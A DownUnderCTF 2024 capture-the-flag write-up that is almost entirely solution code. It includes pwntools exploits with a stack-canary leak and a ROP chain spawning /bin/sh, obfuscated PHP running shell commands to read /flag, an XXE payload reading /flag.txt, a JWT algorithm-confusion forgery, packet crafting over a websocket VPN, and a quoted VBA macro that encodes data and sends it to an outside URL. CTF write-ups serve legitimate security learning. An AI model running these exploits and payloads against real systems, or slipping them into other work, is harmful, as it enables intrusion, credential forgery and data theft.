DownUnderCTF 2024 Write-Up

      struct _Vector_impl_data
      {
	pointer _M_start;
	pointer _M_finish;
    pointer _M_end_of_storage;

from pwn import *

b = ELF('./vector_overflow')
context.binary = b
# p = process()
p = remote('2024.ductf.dev', 30013)
target = b'DUCTF'
buf_start = b.symbols['buf']
target_end = buf_start + len(target)
v_start = b.symbols['v']
p.sendline(flat(target, length=v_start-buf_start) + p64(buf_start) + p64(target_end))
p.interactive()

from pwn import *

yawa = ELF('./yawa')
context.binary = yawa
# p = process()
p = remote('2024.ductf.dev', 30010)

p.sendlineafter(b'>', b'1')
p.send(b'A' * 83 + b'canary')
p.sendlineafter(b'>', b'2')
p.recvuntil(b'canary')
canary = b'\0' + p.recv(7)

p.sendlineafter(b'>', b'1')
p.send(b'A' * 100 + b'addr')
p.sendlineafter(b'>', b'2')
p.recvuntil(b'addr')
ret_addr = unpack(p.recvuntil(b'\n')[:-1], 'all')

libc = ELF('./libc.so.6')
libc.address = ret_addr - 0x29d90
rop = ROP(libc)
rop.raw(b'A' * 88 + canary + b'A' * 8)
rop.raw(rop.find_gadget(['pop rdi', 'ret'])[0])
rop.raw(next(libc.search(b'/bin/sh\0')))
rop.raw(rop.find_gadget(['ret'])[0]) # stack alignment
rop.raw(libc.symbols['system'])

p.sendlineafter(b'>', b'1')
p.send(rop.chain())
p.sendlineafter(b'>', b'3')
p.interactive()

pos = [[1,2], [0,3], [0,4], [0,5], [1,6], [2,7], [3,7], [4,7], [5,6]]
pos = pos + list(reversed(pos))

d0 = {
    'A': 0,
    'C': 2,
    'G': 1,
    'T': 3,
}
d1 = {
    'T': 0,
    'G': 2,
    'C': 1,
    'A': 3,
}

with open('dna.rb') as f:
    next(f)
    next(f)
    val = [0]
    i = 0
    for line in f:
        if line[pos[i % len(pos)][0]] in 'ACGT':
            for j in range(len(val)):
                val[j] += d0[line[pos[i % len(pos)][0]]] * 4 ** (i % 4)
        elif line[pos[i % len(pos)][1]] in 'ACGT':
            for j in range(len(val)):
                val[j] += d1[line[pos[i % len(pos)][1]]] * 4 ** (i % 4)
        else:
            newval = []
            for j in range(len(val)):
                for k in range(4):
                    newval.append(val[j] + k * 4 ** (i % 4))
            val = newval
        i += 1
        if i % 4 == 0:
            a = []
            for c in val:
                if 33 <= c <= 126:
                    a.append(chr(c))
            if len(a) == 1:
                print(a[0], end='')
            else:
                print(f"{{{','.join(a)}}}", end='')
            val = [0]

import websocket
from scapy.all import *

ws = websocket.WebSocket()
ws.connect("wss://misc-wsvpn-02c06ee1b4e1.2024.ductf.dev/connect")
print(ws.recv())

SPORT = 1337

ip = IP(src="1.2.3.4", dst="10.0.0.1")
syn = TCP(sport=SPORT, dport=80, flags='S')
syn_packet = ip/syn
ws.send(bytes(syn_packet), websocket.ABNF.OPCODE_BINARY)

synack = IP(ws.recv())
synack.show()

http_request = "GET / HTTP/1.1\r\nHost: 10.0.0.1\r\n\r\n"
ack = TCP(sport=SPORT, dport=80, flags='PA', seq=synack[TCP].ack, ack=synack[TCP].seq+1)
ack_packet = ip/ack/http_request
ws.send(bytes(ack_packet), websocket.ABNF.OPCODE_BINARY)

response = IP(ws.recv())
response.show()
response = IP(ws.recv())
response.show()

ws.close()

<?php
$s = <<<'EOF'
 {$a=`"p"r"i"n"t"f p"r"i"n"t"f"`;}$a(`"l"s \/`)^0x1a;{;}
EOF;
$s = <<<'EOF'
 {$a=`"p"r"i"n"t"f p"r"i"n"t"f"`;}$a(` c"a"t \/f"l"a"g"`)^0x1a;{;}
EOF;
eval($s);
echo urlencode(~$s);

xorriso -no_rc -as mkisofs \
        -iso-level 3 \
        -full-iso9660-filenames \
        -joliet \
        -joliet-long \
        -rational-rock \
        -eltorito-boot boot/syslinux/isolinux.bin \
        -eltorito-catalog boot/syslinux/boot.cat \
        -no-emul-boot -boot-load-size 4 -boot-info-table \
        -output ductfiso.iso \
        ductfiso

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY flag SYSTEM "/flag.txt"> ]>
<root>
    <feedback>&flag;</feedback>
</root>

const fs = require('fs');
const crypto = require('crypto');
const jwt = require('jsonwebtoken');

const pem = fs.readFileSync('i-am-confusion.2024.ductf.pem');
const publicKey = crypto.createPublicKey({
  key: pem,
  format: 'pem',
}).export({
  format: 'pem',
  type: 'pkcs1',
});

const token = jwt.sign({ user: 'admin' }, publicKey, { algorithm: 'HS256' });
console.log(token);

S = "Mon"
D = "Ma"
G = "key"
F = "gic"
Q = "Flag: " & valueA1
O = doThing(Q, W)
Z = forensics(O)
T = totalyFine(Z)
J = "http://downunderctf.com/" + T
superThing (J)

Public Function doThing(B As String, C As String) As String
    Dim I As Long
    Dim A As String
    For I = 1 To Len(B)
        A = A & Chr(Asc(Mid(B, I, 1)) Xor Asc(Mid(C, (I - 1) Mod Len(C) + 1, 1)))
    Next I
    doThing = A
End Function

Public Function forensics(B As String) As String
    Dim A() As Byte
    Dim I As Integer
    Dim C As String
    A = StrConv(B, vbFromUnicode)
    For I = LBound(A) To UBound(A)
        C = C & CStr(A(I)) & " "
    Next I
    C = Trim(C)
    forensics = C
End Function

Public Function totalyFine(A As String) As String
    Dim B As String
    B = Replace(A, " ", "-")
    totalyFine = B
End Function

Public Function superThing(ByVal A As String) As String
    With CreateObject("MSXML2.ServerXMLHTTP.6.0")
        .Open "GET", A, False
        .Send
        superThing = StrConv(.responseBody, vbUnicode)
    End With
End Function